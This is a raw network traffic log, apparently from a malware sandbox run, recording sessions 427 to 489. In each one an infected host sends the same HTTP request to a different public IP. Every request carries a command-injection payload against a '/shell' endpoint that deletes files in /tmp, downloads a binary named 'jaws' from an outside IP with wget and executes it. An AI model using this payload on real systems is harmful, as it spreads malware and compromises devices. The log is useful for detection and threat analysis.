Jun 10, 2024 15:38:02.137029886 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
427	192.168.2.13	57064	93.149.221.237	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.137618065 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
428	192.168.2.13	39472	180.138.26.228	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.138190031 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
429	192.168.2.13	39426	104.230.30.200	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.138777971 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
430	192.168.2.13	35604	119.69.66.111	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.139383078 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
431	192.168.2.13	51556	130.57.240.142	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.139987946 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
432	192.168.2.13	49986	110.111.139.8	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.140609980 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
433	192.168.2.13	43574	37.115.220.96	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.142395020 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
434	192.168.2.13	48458	24.64.193.46	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.143166065 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
435	192.168.2.13	50320	121.144.172.154	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.143760920 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
436	192.168.2.13	48144	124.6.22.152	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.144368887 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
437	192.168.2.13	35910	106.7.166.126	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.145052910 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
438	192.168.2.13	33994	99.191.18.126	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.145724058 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
439	192.168.2.13	36400	72.99.239.26	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.146534920 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
440	192.168.2.13	33116	117.189.134.28	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.147216082 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
441	192.168.2.13	58770	118.254.40.208	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.147809982 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
442	192.168.2.13	53442	115.50.164.90	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.148490906 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
443	192.168.2.13	58634	2.133.83.163	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.149120092 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
444	192.168.2.13	41308	186.226.52.88	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.149724007 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
445	192.168.2.13	56144	124.126.246.197	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.150336027 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
446	192.168.2.13	42214	105.229.187.237	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.150980949 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
447	192.168.2.13	42566	61.33.199.230	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.151592016 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
448	192.168.2.13	48888	175.66.114.182	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.152273893 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
449	192.168.2.13	42924	120.43.7.228	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.153496981 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
450	192.168.2.13	51870	65.168.33.57	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.154887915 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.13	48748	107.68.239.149	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.155523062 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
452	192.168.2.13	35272	19.229.67.74	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.156095028 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
453	192.168.2.13	57996	181.74.252.245	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.156694889 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
454	192.168.2.13	55846	13.225.119.16	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.157293081 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
455	192.168.2.13	60478	147.71.128.26	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.157917976 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
456	192.168.2.13	50270	109.89.84.87	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.158561945 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
457	192.168.2.13	41816	150.177.195.126	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.159317970 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
458	192.168.2.13	46328	221.87.106.132	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.159853935 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
459	192.168.2.13	59562	134.74.126.54	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.160403013 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
460	192.168.2.13	60032	197.140.85.190	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.161005974 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
461	192.168.2.13	50788	110.144.244.193	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.161714077 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
462	192.168.2.13	47272	185.193.19.118	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.162192106 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
463	192.168.2.13	35750	81.247.181.180	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.162772894 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
464	192.168.2.13	46394	87.161.152.180	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.163353920 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
465	192.168.2.13	50066	113.161.7.171	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.164056063 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
466	192.168.2.13	35744	99.110.30.54	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.164719105 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
467	192.168.2.13	53942	172.189.3.93	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.165235996 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
468	192.168.2.13	50600	201.158.211.234	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.165801048 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
469	192.168.2.13	54382	14.141.30.155	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.166378975 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
470	192.168.2.13	50818	152.8.91.49	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.167023897 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
471	192.168.2.13	39078	131.34.203.87	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.167637110 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
472	192.168.2.13	49010	181.110.113.163	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.168602943 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
473	192.168.2.13	53182	175.46.116.191	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.170154095 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
474	192.168.2.13	57200	18.100.79.93	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.170905113 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
475	192.168.2.13	59408	9.60.185.133	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.171504974 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
476	192.168.2.13	53184	64.124.149.6	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.172142029 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
477	192.168.2.13	50846	216.4.227.234	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.172736883 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
478	192.168.2.13	45780	96.169.78.25	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.173368931 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
479	192.168.2.13	48168	120.230.204.15	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.173963070 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
480	192.168.2.13	54940	195.117.82.212	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.174640894 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
481	192.168.2.13	34330	141.155.135.155	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.175216913 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
482	192.168.2.13	34330	69.194.229.28	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.175937891 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
483	192.168.2.13	49096	2.73.98.0	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.176604033 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
484	192.168.2.13	46608	201.247.10.188	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.177223921 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
485	192.168.2.13	54386	186.93.20.106	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.177787066 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
486	192.168.2.13	40916	144.53.68.134	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.178384066 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
487	192.168.2.13	52472	161.147.158.238	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.178977966 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
488	192.168.2.13	39528	89.154.140.237	80

Timestamp	Bytes transferred	Direction	Data
Jun 10, 2024 15:38:02.179579973 CEST	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.71.59/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
489	192.168.2.13	36034	62.202.106.198	80

Timestamp	Bytes transferred	Direction	Data
